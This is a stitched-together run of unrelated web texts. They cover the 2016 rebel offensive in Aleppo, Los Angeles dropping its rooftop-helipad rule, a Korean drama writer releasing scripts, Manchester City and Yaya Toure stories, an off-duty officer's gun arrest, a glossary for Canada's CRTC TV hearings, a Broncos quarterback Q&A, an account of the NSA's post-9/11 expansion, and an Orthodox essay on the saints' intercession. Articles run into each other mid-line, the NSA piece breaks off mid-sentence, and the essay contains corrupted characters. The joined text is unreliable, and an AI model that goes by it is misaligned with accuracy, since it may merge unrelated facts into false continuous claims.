"The first three stages included assaulting and seizing control of strategic positions from the regime's forces on the southern and western fronts of the city. The fourth stage saw the Conquest Army's fighters advancing in a ground operation into the city from the south, seizing the Ramosa neighborhood."
Ramosa is home to a large military complex, which contains a number of military colleges.
Jabhat Fatah al-Sham posted pictures on social media of rows of armoured vehicles, munitions, howitzer tanks, rockets and trucks now in rebel hands.
The rebel frontline was pushing northwest into western, government-held Aleppo, on the the edges of the Hamdaniya neighborhood and a housing project called the 3,000 project, according to rebels and the SOHR, which relies on a network of contacts in Syria to track the war.
The Assad Military Engineering Academy, another large government army complex, is located just north of Hamadiya.
“The battle for Aleppo is decisive. Whoever wins the battle could perhaps win the war. For the rebels, keeping hold of Aleppo is leverage – it’s a bargaining chip that they could use to perhaps force the Syrian government back to the negotiating table in Geneva,” Al Jazeera’s Reza Sayah, reporting from Gaziantep on the Turkey-Syria border, said.
“At the same time, if the government is able to take over Aleppo, they take away that bargaining chip. If they have control of the city, there’s no longer incentive for them to go back to Geneva.”
'Government areas besieged'
The rebel advance puts an estimated 1.2 million people in government-held districts under opposition siege, Rahman of the SOHR told the AFP news agency.
"The western districts of Aleppo are now besieged. There are no safe routes for civilians in government-held districts to use to get into or out of the city," he said.
In rebel-held areas, the lack of a safe route out meant conditions for residents were unchanged.
READ MORE: Deaths as air strikes hit Idlib hospital
Three vans of vegetables crossed into east Aleppo, Rahman said, but this was a symbolic gesture and the corridor was too dangerous for civilians or significant supplies to pass.
The United Nations and aid groups said conditions in rebel-held districts were a cause for concern.
"Most recently I'm hearing that the markets are closed and it's next to impossible to purchase food. The UN estimates that collectively all aid supplies in east Aleppo will only last about two more weeks," Christy Delafield, senior communications officer for Mercy Corps, which runs the largest non-governmental aid operation inside Syria, told the Reuters news agency.
The battle for Aleppo, Syria's second biggest city, has raged since mid-2012 and is among the fiercest in the multi-front war that has killed nearly 400,000 people, according to an estimate by the UN's chief mediator.Los Angeles' skyline has none of the soaring spires that grace the Burj Khalifa or the Chrysler Building. Instead, it's uniformly flat, like someone took an axe to downtown and left only stumps of buildings. And it's all because of a piece of misguided regulation.
L.A.'s architecture has long been stunted by a clause in the city code that requires every building to have a helipad on top. At last, this regulation has been repealed. May the pointy buildings begin to rise!
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Civil Engineering magazine recently brought our attention to Regulation 10 of the Los Angeles Municipal Code that was revised last fall. Under Regulation 10, every building over 75 feet tall has must have a helicopter landing pad on its roof for emergency evacuations during a fire. The result? A downtown full of uninspiring flat roofs.
Now, the helipads are not a great idea, even if you take aesthetics out of the equation. Helicopter rescues are dangerous and chaotic; the hot air of a fire makes helicopters very difficult control. Imagine trying to land one on a roof full of people. In all the time Regulation 10 was in effect, helipads were used just one time in Los Angeles, to evacuate a handful of people during a fire in the then First Interstate Bank building (now the Aon Center) in 1988.
Helicopter rescues are so rare and helipads are so expensive the firefighting money is better spent elsewhere. Modern buildings now have automatic and redundant sprinkler systems, smoke-control systems, and fire-protected areas of the building—making helipads essentially obsolete.
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But now that Regulation 10 has been revised, L.A. may finally get a more graceful skyline. The Wiltshire Grand, which will be the tallest building west of Chicago when completed, will be one of the city's first non flat-topped buildings. You can see it below, sticking out like a unicorn with its spire jutting into the sky.[ASCE, LA Times, KCET]
Top image: AP Photo/Nick UtOn September 20, during the press conference for the final episode of the drama, “W” writer Song Jae Jung opened up about her decision to release the scripts before the airing of the finale.
She shared, “When the drama starts, you think that its up to you but after it airs, I realized that it had already left my hands. It’s up to the viewers how they choose to interpret the end. And so in that thought, I released the script.”
She continued, “My meaning behind releasing the script was to say, ‘I wrote it like this. How do you want to interpret it?’ I write the script. But the product is not mine. Anyone can read novels but there is a limit to the people who are able to read scripts. I think we should release scripts from now on.”
“W” ended its run on September 14 after a successful run on MBC.
Check out the drama on Viki here below!
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Source (1)Media playback is not supported on this device Toure wants Champions League for Man City fans
Manchester City midfielder Yaya Toure says he was disappointed with the speculation that surrounded his future at the club during the summer.
In May, Toure supported claims from his agent that City "disrespected" him on his 31st birthday, having previously dismissed Dimitri Seluk's comments.
But, speaking to Football Focus, he said: "My agent made a little joke about it and people took it seriously.
"I was quite surprised about the way people and the media reacted to that."
As City travelled to the United Arab Emirates to celebrate winning the Premier League, the club presented Toure with a cake on his 13 May birthday and tweeted congratulations.
Media playback is not supported on this device Criticism of Yaya Toure unfair - Manuel Pellegrini
But, speaking at the time, Toure's agent Seluk, said: "None of them shook his hand on his birthday. It's really sick."
Toure initially distanced himself from Seluk's comments, but then took to Twitter to say: "Everything Dimitri said is true. He speaks for me. I will explain after the World Cup."
Now, the former Barcelona man has moved to clarify the controversy, saying: "Over the summer there was a lot of speculation about birthday cakes and rubbish like that. It was disappointing for me.
"I've been in Manchester for four years now and I have never demanded a birthday cake."
Ivorian Toure, who has won two Premier Leagues, the FA Cup and the League Cup since moving to City from the Nou Camp for £24m in 2010, also stated that his new desire is to win the Champions League.
"I know the fans love me; they are always good to me," he said. "My target now is the Champions League. I want to win it for them."Off-duty San Rafael cop accused of gun threat Petaluma
An off-duty San Rafael police officer has been arrested for allegedly threatening a man with a gun on New Year's Eve at a Petaluma restaurant, authorities said Wednesday.
Police Cpl. Michael Augustus, 43, of Petaluma was arrested about 9 p.m. Friday after witnesses identified him as the person who pulled a gun on the man outside the Kabuki Restaurant and Sushi Bar on Petaluma Boulevard North, police said.
The man told police that he had been seated at a table in the restaurant when Augustus bumped into him, "seemingly on purpose," said Petaluma police Lt. Mike Cook.
Augustus "yelled several obscenities at the victim" and walked outside, Cook said. The man got up and followed Augustus, police said.
The two men began yelling at and pushing each other, Cook said. Augustus then allegedly pulled a semiautomatic pistol from his waistband and pointed it at the other man's head.
The man backed away. Augustus fled, but Petaluma police found him running near Liberty Street a short time later, his gun in his waistband, Cook said.
Augustus was not on duty at the time, Cook said. It was not known if the pistol was his service weapon.
Augustus was booked at Sonoma County Jail on suspicion of assault with a deadly weapon, a felony. He has been released on $50,000 bail.
Augustus has been on the San Rafael police force for 16 years. The department has placed him on paid administrative leave pending an internal investigation, said Margo Rohrbacher, a police spokeswoman.This week, executives from some of the country's largest television companies, industry groups and private citizens will begin a process that could radically change how Canadians watch TV. They will all be appearing before a special hearing convened by the Canadian Radio-television and Telecommunications Commission, or CRTC, casually dubbed "Let's Talk TV."
And talk they will. They'll talk about BDUs, upstream suppliers and downstream buyers and they'll talk about OTA, OTT and SimSubs.
Huh? What?
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Yes. If you really care why vertically integrated BDUs are concerned about offering skinny basic and having to rely on penetration-based rate cards, this is for you. Here's a glossary of terms that will help you decipher what's being discussed at the CRTC hearings:
Pick n' pay/à la carte: This one is simple. It's what most customers would love – to be able to choose, one by one, the channels they'd like to pay for. Surveys show that among the hundreds of channels, viewers, on average, watch 17 channels. That's a lot of extra weight. But wouldn't it be nice to order HBO without having to pay for 25 other channels you never watch? Of course, there's a consequence to that. Channels that rely on subscriptions, rather than advertising, such as Univision Canada, the Documentary channel or Filipino TV, might not be around after a change.
Over the air (OTA): Think rabbit ears and antennas on the roof. In Canada, local broadcasters such as CBC, CTV, Global and CityTV broadcast their channels over the air, which anyone with an antenna (and who's in range) can access for free. Over the past several years, many cord cutters – viewers who've cut off their cable or satellite service – put up an antenna and pull in HD channels, enjoying television without a monthly cable bill. (You can read more about over-the-air TV in this piece from The Globe archives).
Over the Top (OTT): An OTT service is an Internet-delivered library of movies and shows. In Canada, we have a couple familiar OTT services – Netflix and Apple TV. There are others – MLB.com and NHL.com offer streaming video over the Internet, but there can be restriction with those services such as blackouts of local games. And there are OTT services on the horizon, such as the recently announced Shomi, which will initially be available to Rogers and Shaw customers in November, but the companies are in discussions with other TV distributors to offer the service and say it could eventually be available to anyone who wishes to subscribe. In the United Stated, there are several, including Hulu Plus, Vudu and Amazon Prime, which are not available in Canada (sort of – there are ways to access those services but we're not getting into that here).
Set top box: When you subscribe to a digital cable, satellite or IPTV service from companies such as Shaw, Rogers or Telus, part of the package includes a box that you connect to your TV (and for which you normally pay a monthly rental fee). They're basically dumb computers with a tuner card. A Personal Video Recorder (PVR) is a set top box with a hard drive.
Simultaneous Substitution: Otherwise known as the "Why-can't-I-watch-the-American-commercials-during-the-Super-Bowl?" rule. When a network broadcasts a show, they've paid a production company (or a sports league) a fee for the rights. Say, for example, Fox pays the NFL $1-billion to show NFL games for 5 years. To profit from that purchase, Fox charges companies to advertise during the games. But a Canadian broadcaster like, say, CTV also buys rights to broadcast NFL games, because you still want to watch football in Bobcaygeon or Lethbridge. And they want in on the ad revenues, too. So simultaneous substitution allows them to substitute their own signal, which is carrying the Fox program but with Canadian ads, and you see the same Canadian Tire commercial 50 times.
Cord Cutter: Someone who, for myriad reasons, has decided to cut off their cable or satellite subscription. A Cord Never is someone who has never subscribed in the first place. Some cord cutters use an antenna and watch OTA TV, some subscribe to OTT services (see, you know what that means now) and some do both. Some just read books. And newspapers :-)
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BDU: Now we get into the fun ones. If you search for the term BDU on Google, you'll find a raft of links to army surplus stores that sell camouflage pants (Battle Dress Uniform). But no, when someone at the CRTC hearings mentions BDUs, they're referring to Broadcast Distribution Undertakings, not unattractive clothing. A BDU is simply a cable or satellite company such as Rogers, Bell or Shaw. Why they don't say telco or cable co, who knows. They're the CRTC.
Skinny Basic: One of the proposals the CRTC is reviewing is a new type of bottom-dollar basic package that would be comprised primarily of local Canadian channels such as Global, CTV and CBC. A "skinny basic" would be the lowest common denominator, something all consumers would have, and on its own cost around $20 or $30 a month. Consumers who want more would then buy individual channels (or possibly bundles of similarly themed channels, such as a sports package) and add them to their already existing skinny basic package.
Netflix Tax: This is a contentious one. Netflix has coined the pejorative term, also known as an OTT tax, which refers to making streaming services contribute to the Canadian Media Fund that subsidizes the production of local Canadian content (CanCon) programming. Broadcasters such as CBC and even the Ontario government have recommended "new media" broadcasters should share in the requirement to support Canadian creators. Netflix argues no, that any tax (ahem, or fee) would likely force the company to raise prices in Canada and anyway, it wouldn't be fair because Netflix can't draw on the Canadian Media Fund to finance its own original programming.
Penetration-based rate card: Broadcasters like revenue predictability. In a Pick n' Pay system, a speciality channel might see a decline in subscribers but still need to generate adequate revenue to produce or buy content. In order to afford their production costs, they may have to charge a higher wholesale rate based on the number of subscribers. The more subscribers, the lower the wholesale price. One of the arguments against a Pick n' Pay system is that it may reduce penetration of individual channels all the while increasing costs, which would likely be passed onto the consumer.
Vertical integration: Companies that own or produce a product, market it and sell it are considered vertical. It's like owning a farm that grows potatoes, owning the factory that makes potato chips and owning the store that sells them. Rogers, Bell, Shaw and Quebecor all in some way or another produce content that's sold as programming and is marketed and distributed on television services that they own.
Fee-for-carriage: This is a long-standing dispute between broadcasters and cable companies. Right now, cable and satellite companies can grab conventional over-the-air broadcasts (just like you can with an antenna), package them into a basic cable service and then sell them to consumers. That's how the cable cos make their money. Broadcasters such as Global and CTV used to make buckets selling advertising back in the day when everyone watched Newhart on a specific day at a set time. Things have changed. Broadcasters are not making the kind of money they used to, and cable and satellite companies are making more. To complicate things, cable and telcos have been buying broadcasters – Shaw Communications owns Global and Bell Media owns CTV. CBC, which would like to charge cable and satellite companies a fee to broadcast their signal, but the CRTC has said no, CBC is a public entity and must be distributed free of charge.
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With files from James Bradshaw and The Canadian PressGet the biggest Manchester City FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Have BT Sport got a problem with Manchester City?
Fans of a blue persuasion certainly think so - and it is theory that is gaining momentum.
A breaking point came in April when the broadcaster issued literature promoting their Champions League semi-final coverage – only to make no reference to City - England’s only remaining participants.
The head of BT Sport, Simon Greene, issued a Twitter apology shortly after.
A bizarre oversight or something more sinister?
City fans suspect there’s more to it.
The regular blue-bashing from their largely red-coloured panel of experts hasn’t helped relations.
Rio Ferdinand accused City fans of failing to inspire the team moments after the club had qualified for the semi-finals of Europe’s elite knock-out competition.
It felt like a negative slant on a genuinely momentous achievement for an English side – while Steve McManaman, Paul Scholes and Michael Owen have gone in with both feet time and again.
Ferdinand openly admitted he wanted City to lose during coverage of their quarter-final tie with PSG.
And conspiracy theorists had a field day last week when BT showed back-to-back highlights of every FA Cup final since the 80s – with the exception of City’s 1-0 win over Stoke in 2011 that saw the club end its 35-year wait for a major trophy.
Yet another innocent gaffe?
It’s becoming a lengthy rap sheet and the City fans aren’t pleased.
The broadcaster has now responded, having this to say about why the Stoke cup final game was missed off.
“BT Sport take its responsibility as a broadcaster extremely seriously and aims to deliver top quality live sports coverage to its viewers. We always try to take a fair view of the teams and the competitions which we broadcast.
“Last week BT Sport showed a number of classic FA Cup Finals back to back in the run up to the Emirates FA Cup Final on Saturday evening. We apologise that Manchester City v Stoke City was not shown on Thursday, however it was shown on BT Sport on Saturday.”
It remains to be seen if City fans will be convinced by that explanation.Today’s question about the Broncos comes from Kris Carlson.
Q: Any guesses to how the Broncos’ three-year plan will unfold? If the plan is to be a contender by Year 3, yet with a great crop of quarterbacks coming out next spring, of whom John Elway must covet a few, even beyond Andrew Luck and Matt Barkley how would that play out? Would a rookie be groomed for 2013? What kind of odds do you give Tim Tebow of being the guy next year? Will they re-sign Kyle Orton if he has a successful season?
A: Kris, with just a couple of days to go to before the start of the regular season, that’s a lot to digest about the future.
The Broncos, especially executive vice president John Elway, general manager Brian Xanders and coach John Fox, want to compete as quickly as possible, be it Year 1, Year 2 or Year 3 and beyond. They also, like every franchise in the NFL which doesn’t have one, are on the hunt for the quarterback who will be the foundation of whatever they build.
Elway considers quarterback the most important piece and anyone who saw Aaron Rodgers and Drew Brees do their thing Thursday night cannot argue that point.
Overall they will continue to take the roster toward “younger and faster,” which has been Elway’s mantra since he took the job. They want impact athletes all over the field who play fast, and the Broncos will continue to draft that way, at least if they maintain their discipline on the board and stick to their plan.
Free agency, again if they maintain their discipline even in times when people don’t want them to (see: Packers, Green Bay or Steelers, Pittsburgh), will be only a smattering of work. And frankly the lure of free agency only legitimately increases for a team if they haven’t been successful in the draft and don’t have somebody groomed to fill a need.
The good draft teams use it for one or two key spots, not a year-to-year salary cap makeover. New England will be an interesting experiment this year, because a franchise that was very draft heavy in Bill Belichick’s tenure has now leaned decidedly toward free agency to make one last push at a title with Tom Brady at quarterback.
But make no mistake, the Broncos are still on the hunt for a franchise quarterback, even with Tebow on the roster. They scouted heavily and in person at pro days all of the top quarterback prospects in the 2011 draft and will do so again in 2012, given the class of quarterbacks next spring is already considered far better than this past year.
Stanford’s Luck, USC’s Barkley and Oklahoma’s Landry Jones sit atop the class with a select few others who could be first-round picks as well. But Luck, on and off the field, just may be the best all-around, pro-ready prospect at the position since Peyton Manning entered the league in 1998.
Tebow’s future, at least in some ways, is up to him. He really needs to do what Brady Quinn did this past offseason.
Work with quarterback coaches, either the Broncos or some he hires, all through the offseason, on his footwork, anticipation and the ability to work through the progressions on pass plays. He’s mobile and can run himself out of trouble, but his ability to be the team’s starter over the long-term is hitched to how he plays from the pocket.
And whether anyone believes that it doesn’t matter because that’s what Elway believes it takes to win a championship. And Elway is A) the boss and B) a quarterback who is in the Hall of Fame having won two championships and having said “those championships were won from the pocket.”
Tebow is the only quarterback on the current Broncos roster under contract for 2012 so that gives him a little advantage once the offseason begins. If the Broncos intended to keep Orton past this year, they likely would have already started to negotiate with him — and indications are they haven’t — on some kind of extension.
But with a good year Orton will be a 29-year-old quarterback, who has started most of his seven seasons in the league, in the open market. That’s a big potential contract with the biggest paydays likely happening elsewhere.
Jeff Legwold: 303-954-2359 or [email protected] undated aerial photo shows the National Security Agency’s headquarters in Fort Meade, Md. Already bigger than the Pentagon in square footage, the NSA’s footprint will grow by another 50 percent when construction is complete at the agency's headquarters in a decade.
An undated aerial photo shows the National Security Agency’s headquarters in Fort Meade, Md. Already bigger than the Pentagon in square footage, the NSA’s footprint will grow by another 50 percent when construction is complete at the agency's headquarters in a decade. Reuters
The spy agency is in the midst of a hiring, construction and contracting boom. Here is a look at some of its sites.
The spy agency is in the midst of a hiring, construction and contracting boom. Here is a look at some of its sites.
The spy agency is in the midst of a hiring, construction and contracting boom. Here is a look at some of its sites.
Twelve years later, the cranes and earthmovers around the National Security Agency are still at work, tearing up pavement and uprooting trees to make room for a larger workforce and more powerful computers. Already bigger than the Pentagon in square footage, the NSA’s footprint will grow by an additional 50 percent when construction is complete in a decade.
And that’s just at its headquarters at Fort Meade, Md.
The nation’s technical spying agency has enlarged all its major domestic sites — in Colorado, Georgia, Hawaii, Texas and Utah — as well as those in Australia and Britain.
Since the attacks of Sept. 11, 2001, its civilian and military workforce has grown by one-third, to about 33,000, according to the NSA. Its budget has roughly doubled, and the number of private companies it depends on has more than tripled, from 150 to close to 500, according to a 2010 Washington Post count.
The hiring, construction and contracting boom is symbolic of the hidden fact that in the years after the Sept. 11 attacks, the NSA became the single most important intelligence agency in finding al-Qaeda and other enemies overseas, according to current and former counterterrorism officials and experts. “We Track ’Em, You Whack ’Em” became a motto for one NSA unit, a former senior agency official said.
The story of the NSA’s growth, obscured by the agency’s extreme secrecy, is directly tied to the insatiable demand for its work product by the rest of the U.S. intelligence community, military units and the FBI.
The NSA’s broad reach in servicing that demand is at the heart of the controversy swirling around the agency these days. Both Congress and the public have been roiled by the disclosure of top-secret documents detailing the collection of U.S. phone records and the monitoring of e-mails, social-media posts and other Web traffic of foreign terrorism suspects and their enablers.
Lacking a strong informant network to provide details about al-Qaeda, U.S. intelligence and the military turned to the NSA’s technology to fill the void. The demand for information also favored the agency’s many surveillance techniques, which try to divine the intent of people by vacuuming up and analyzing their communications.
“There was nothing that gave you more insight into the inner workings of these organizations as the NSA,” said Michael Leiter, former director of the National Counterterrorism Center. “I can’t think of any terrorist investigation where the NSA was not a preeminent or central player.”
One top-secret document recently disclosed by former intelligence contractor Edward Snowden, who is on the run from U.S. authorities, revealed that 60 percent of the president’s daily intelligence briefing came from the NSA in 2000, even before the surge in the agency’s capabilities began.
“The foreign signals that NSA collects are invaluable to national security,” the agency said in a statement released Friday to The Post. “This information helps the agency determine where adversaries are located, what they’re planning, when they’re planning to carry it out, with whom they’re working, and the kinds of weapons they’re using.”
The NSA’s ability to capture, store and analyze an ever greater amount of people’s communications has never been accompanied by public explanations of new legal authorities, programs or privacy safeguards. Only the unauthorized disclosure of these secrets has forced officials to explain them in broad terms, reassure the public and complain about the damage from their public airing.
“I wish that I were here in happier times for the intelligence community,” said Robert S. Litt, general counsel for the Office of the Director of National Intelligence, speaking at the Brookings Institution on Friday. “These disclosures threaten to cause long-lasting and irreversible harm to our ability to identify and respond to the many threats facing our nation.”
Battlefield support
The story of the NSA’s post-Sept. 11 history could begin in many places, including the parking lot of the CIA. There, in late 2001, a burly Navy SEAL paced inside a trailer with a telephone to his ear. The trailer had been hastily converted from a day-care facility to an operations center for the CIA’s covert armed drone program, which was about to kill one of its first al-Qaeda targets, 8,000 miles away in Afghanistan.
On the line with the SEAL was the drone operator and a “collector,” an NSA employee at the agency’s gigantic base at Fort Gordon in Augusta, Ga. The collector was controlling electronic surveillance equipment in the airspace over the part of Afghanistan where the CIA had zeroed in on one particular person. The SEAL pleaded with the collector to locate the cellphone in Afghanistan that matched the phone number that the SEAL had just given him, according to someone with knowledge of the incident who spoke on the condition of anonymity because of the sensitivity of the issue.
The collector had never before done such a thing. Before even intercepting a cellphone conversation, he was accustomed to first confirming that the user was the person he had been directed to spy on. The conversation would then be translated, analyzed, distilled and, weeks later, if deemed to be interesting, sent around the U.S. intelligence community and the White House.
On that day, though, the minutes mattered.
“We just want you to find the phone!” the SEAL urged. No one cared about the conversation it might be transmitting.
The CIA wanted the phone as a targeting beacon to kill its owner.
The NSA collector in Georgia took what was then considered a gigantic leap — from using the nation’s most sophisticated spy technology to record the words of presidents, kings and dictators to using it to kill a single man in a terrorist group.
The revolutionary significance of that and other similar operations was quickly grasped by intelligence officials. With analysts and technicians from the National Geospatial-Intelligence Agency, the NSA subsequently assembled a team in the basement of its headquarters called the Geolocation Cell, or Geo Cell. Its purpose was to track people, geographically, in real time.
The cell opened up chat rooms with military and CIA officers in Afghanistan — and, eventually, Iraq — who were directing operations there. Together they aimed the NSA’s many sensors toward individual targets while tactical units aimed their weaponry against them.
A motto quickly caught on at Geo Cell: “We Track ’Em, You Whack ’Em.”
With the 2003 invasion of Iraq, and the surprisingly quick disintegration of postwar conditions there, the NSA began sending collectors with surveillance equipment to embed with Army brigades and Marine regimental combat teams to target insurgents and terrorists. The units were called tactical cryptologic support teams. The military commanders often had no prior understanding of what the NSA did. But they quickly demanded more of the agency once they learned what it could do.
At the same time, the NSA supported a parallel effort by CIA paramilitary units and clandestine Joint Special Operations Command (JSOC) teams tasked with capturing or killing al-Qaeda leaders, deemed “high-value targets.” NSA analysts and collectors moved into the JSOC commander’s new and growing operational headquarters in Balad, Iraq, which also serviced Afghanistan.
By September 2004, a new NSA technique enabled the agency to find cellphones even when they were turned off. JSOC troops called this “The Find,” and it gave them thousands of new targets, including members of a burgeoning al-Qaeda-sponsored insurgency in Iraq, according to members of the unit.
At the same time, the NSA developed a new computer linkup called the Real Time Regional Gateway into which the military and intelligence officers could feed every bit of data or seized documents and get back a phone number or list of potential targets. It also allowed commanders to see, on a screen, every type of surveillance available in a given territory.
Air Force Gen. Michael V. Hayden, former director of the NSA, said in an interview last week that he would tell people, “If we could do this half well, this will be the golden age of sigint,” or signals intelligence.
A growing reach
The battlefield technology overseas was matched by a demand back in the United States for larger amounts of data to mine using the NSA’s increasingly sophisticated computers. Financial and biometric data, the movement of money overseas, and pattern and link analysis became standard NSA tools. Another example, recently revealed by Snowden, is the bulk collection of telephone metadata — information about numbers dialed and the duration of the calls.
The NSA’s burgeoning secret activities splashed into public view in 2005 when the New York Times reported on the warrantless surveillance of U.S. communications, and subsequent statements by former NSA employees contended that the agency was collecting Americans’ e-mails and phone calls. Some suspected that NSA capabilities were limitless when it came to counterterrorism investigations.
Although the NSA tries hard to maintain a low profile, the physical manifestation of its growing importance has been quietly evident to the communities that surround its major foreign and domestic bases.
Within the past couple of years, bulldozers have plowed through the earth near Bluffdale, Utah, to ready a million-square-foot facility housing a center that will store oceans of bulk data.
In 2007, ground was broken for a $1 billion facility on 120 acres at Fort Gordon, where an NSA workforce of 4,000 collects and processes signals intelligence from the Middle East, according to the agency.
In Hawaii, the NSA outgrew its Schofield Barracks Army site years ago and opened a 250,000-square-foot, $358 million work space adjacent to it last year. The Wahiawa Annex is the last
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little the Bible does say, is that they worship and glorify God in heavenly worship, and offer their own and our prayers to him.� This is an activity that is common to both the saints and the angels.
The Scriptures testify that the angels in heaven intercede to God for those on earth, offering the prayers of those on earth with their own.
The Jewish apocryphal writings provide ample testimony that ancient Judaism had firm faith in the intercession of angels for men.� For example, in the Book of Enoch, the fallen angels ask Enoch to pray for them, so Enoch did as requested.� The Lord replied to Enoch, telling him that angels ought rather to be praying for men.
In the same apocryphal book, Gabriel is said to be petitioning and praying for those who dwell on earth.
The Archangel Michael is said to come down and receive the prayers of men.
The apocryphal Book of Enoch gives testimony regarding the departed saints in the presence of God interceding for the sons of men on earth.
According to Scripture, also the departed saints in heaven intercede to God for those on earth.� For example, Judas Maccabeus was said to have had a dream wherein he saw Jeremiah interceding for the Jewish people during the terror of Antiochus Epiphanies.
In the Book or Revelation, the saints in heaven (symbolized by the twenty-four elders) are depicted as offering the prayers of the saints on earth.
Some think that by these living creatures should be understood the four elements and God�s governance and preservation of them, or God�s dominion over the regions of heaven, earth, sea and the underworld.� However, as is clear from the further description of the appearance of these living creatures, without doubt they are the very angelic powers who in the mystical vision of the holy prophet Ezekiel (Ez. 1:5-25) on the river Chobar, supported the mystical chariot on which the Lord God sits as a King.� These four living creatures have served as it were as emblems of the four Evangelists.� The multitude of their eyes indicates the Divine omniscience, the knowing of everything past, present and future.� These are the highest angelic beings, closest to God [the Seraphim�tr] who ceaselessly glorify God.10
On the other hand, the twenty four elders are generally understood as symbolizing redeemed humanity.
�they are usually interpreted to be elders of the old and new Covenants: the twelve sons of Jacob and the Twelve Apostles, the fullness of both covenants.� They are the foundation of the people of God (7:4; Matt. 19:28).� These elders continually fall down before God in worship, adoration and praise�11
By the four living creatures and the elders is signified the fact that from angels and men has been formed a single flesh and a single Church through Christ God Who has joined together what was separate and has destroyed the middle wall of separation.� And so, together with the four living creatures who surpass the other orders of angels, the elders also, who signify the fullness of those being saved, are worthy of the song and worship of God.� May we also be vouchsafed this in Christ Himself the Giver of peace and our God, with Whom together with the Father and the Holy Spirit, may there be glory, dominion, honor, now and ever and unto the unending ages. Amen.12
The nearness of the saints to the Throne of the Lamb and the raising up by them of prayers for the Church on earth are depicted in the Apocalypse of St. John the Theologian: "And I beheld, and I heard the voice of many angels round about the Throne, and the beasts, and the elders; and the number of them was ten thousand times ten thousand, who praised the Lord� (Apoc. 5:11)."13
2nd century Christian writer Clement of Alexandria understood the twenty four elders as symbolic of the righteous in heaven who sit down and judge the people.
Those, then, also now, who have exercised themselves in the Lord's commandments, and lived perfectly and gnostically according to the Gospel, may be enrolled in the chosen body of the apostles. Such an one is in reality a presbyter of the Church, and a true minister (deacon) of the will of God, if he do and teach what is the Lord's; not as being ordained by men, nor regarded righteous because a presbyter, but enrolled in the presbyterate because righteous. And although here upon earth he be not honoured with the chief seat, he will sit down on the four-and-twenty thrones, judging the people, as John says in the Apocalypse.�14
The offering of the �prayers of the saints� on earth by the twenty-four elders is interpreted thusly in the Orthodox Study Bible:
�the glorified saints of all ages represented by the twenty-four elders, worship Jesus, thus recognizing His deity.� And they present the prayers of the saints still on earth, manifested in the incense, to God.15
The verses in the Book of Revelation about the twenty-four elders are significant on two accounts: First, they are an example from a portion of Sacred Scripture that is accepted by all Christian groups as canonical (since other Christian groups do not accept the Deutero-canonical books), which depicts the saints in heaven interceding for the saints on earth by offering the latter�s prayers.� Second, the fact that the Scripture provides us with an example of the saints in heaven offering the prayers of the saints on earth refutes the allegation that the saints in heaven cannot hear the prayers of the saints on earth.� If the saints in heaven cannot hear the prayers of the saints on earth, then how is it that they offer the prayers of those saints on earth?16
St. John is having a heavenly vision of various entities around the throne of God. Around this throne are gathered 4 beasts and 24 elders. In the midst of these beings stood the Lamb of God. These beings verily fall down before the Lamb, worshipping the Lamb with harps and censers full of incense.� The incense that these beings offer is described as the "prayers of the saints."� The �prayers of the saints� that are offered by the 4 living creatures and 24 elders are those of the �saints� who are living in the earthly existence�that is the Church �militant.�� For we see a parallel to this in Revelation, chapter 8.� Thus, the 24 elders are offering to God (as incense) the prayers of their brothers and sisters on earth.� The 4 living creatures (whom Orthodox Tradition says symbolize the orders of angels) also offer the �prayers of the saints� (that is, the �saints� on earth).� Revelation 8 clarifies this even further as to how the heavenly beings are offering our prayers to God.
And another angel came and stood at the altar, having a golden censer; and there was given unto him much incense, that he should offer it with the prayers of all saints upon the golden altar which was before the throne.� And the smoke of the incense, which came with the prayers of the saints, ascended up before God out of the angel's hand.17
This angel takes our prayers on earth ("the prayers of the saints") and mingles them with his own offering/prayer to God.� This is a clear witness of the early Church�s belief that angels and departed saints intercede for us, much in the same way that we are to "intercede" for each other here-and-now (1 Timothy 2:1-3)
The Fathers of the Church give ample testimony to the Church�s unbroken and consistent belief that the angels and saints in heaven intercede for the saints on earth.
Now these things (Ignatius' martyrdom) took place on the 13th day before the Kalends of January, that is, on the 20th of December,...Having ourselves been eye-witnesses of these things, and having spent the whole night in tears within the house, and having entreated the Lord, with bended knees and much prayer, that He would give us weak men full assurance respecting the things which were done, it came to pass on our falling into a brief slumber, that some of us saw the blessed Ignatius suddenly standing by us and embracing us, while others beheld him again praying for us, and others still saw him dropping with sweat, as if he had just come from his great labor, and standing by the Lord.� When therefore, we had with great joy witnessed these things, and had compared our several visions together, we sang praise to God, the giver of all good things, and expressed our sense of the happiness of the holy martyr; and now we have made known to you both the day and the time when these things happened, that, assembling ourselves together according to the time of his martyrdom, we may have fellowship with the champion and noble martyr of Christ, who trod under foot the devil, and perfected the course which out of love for Christ, he had desired in Christ...18
[The Shepherd said:] 'But those who are weak and slothful in prayer, hesitate to ask anything from the Lord; but the Lord is full of compassion, and gives without fail to all who ask Him. But you, [Hermas,] having been strengthened by the holy angel [you saw], and having obtained from Him such intercession, and not being slothful, why do not you ask of the Lord understanding, and receive it from Him?'19
In this way is he [the true Christian] always pure for prayer. He also prays in the society of angels, as being already of angelic rank, and he is never out of their holy keeping; and though he pray alone, he has the choir of the saints standing with him [in prayer].20
But these pray along with those who genuinely pray�not only the high priest but also the angels who �rejoice in heaven over one repenting sinner more than over ninety-nine righteous that need not repentance,� and also the souls of the saints already at rest. Two instances make this plain. The first is where Raphael offers their service to God for Tobit and Sarah. After both had prayed, the scripture says, �The prayer of both was heard before the presence of the great Raphael and he was sent to heal them both,� and Raphael himself, when explaining his angelic commission at God's command to help them, says: �Even now when you prayed, and Sarah your daughter-in-law, I brought the memorial of your prayer before the Holy One,� and shortly after, �I am Raphael, one of the Seven angels who present the prayers of saints and enter in before the glory of the Holy One.� Thus, according to Raphael's account at least, prayer with fasting and almsgiving and righteousness is a good thing.� The second instance is in the Books of the Maccabees where Jeremiah appears in exceeding �white haired glory� so that a wondrous and most majestic authority was about him, and stretches forth his right hand and delivers to Judas a golden sword, and there witnesses to him another saint already at rest��This is he who prays much for the people and the sacred city, God's prophet Jeremiah.�21
Let us on both sides pray for one another.� Let us relieve the burdens and afflictions by mutual love, that if any one of us by the swiftness of divine condescension, shall go hence first{get martyred}, our love may continue in the presence of the Lord, and our prayers for our brethren and sisters not cease in the presence of the Father's mercy.22
Then [during the Eucharistic prayer] we make mention also of those who have already fallen asleep: first, the patriarchs, prophets, apostles, and martyrs, that through their prayers and supplications God would receive our petition�23
Yes, I am well assured that [my father's] intercession is of more avail now than was his instruction in former days, since he is closer to God, now that he has shaken off his bodily fetters, and freed his mind from the clay that obscured it, and holds conversation naked with the nakedness of the prime and purest mind.24
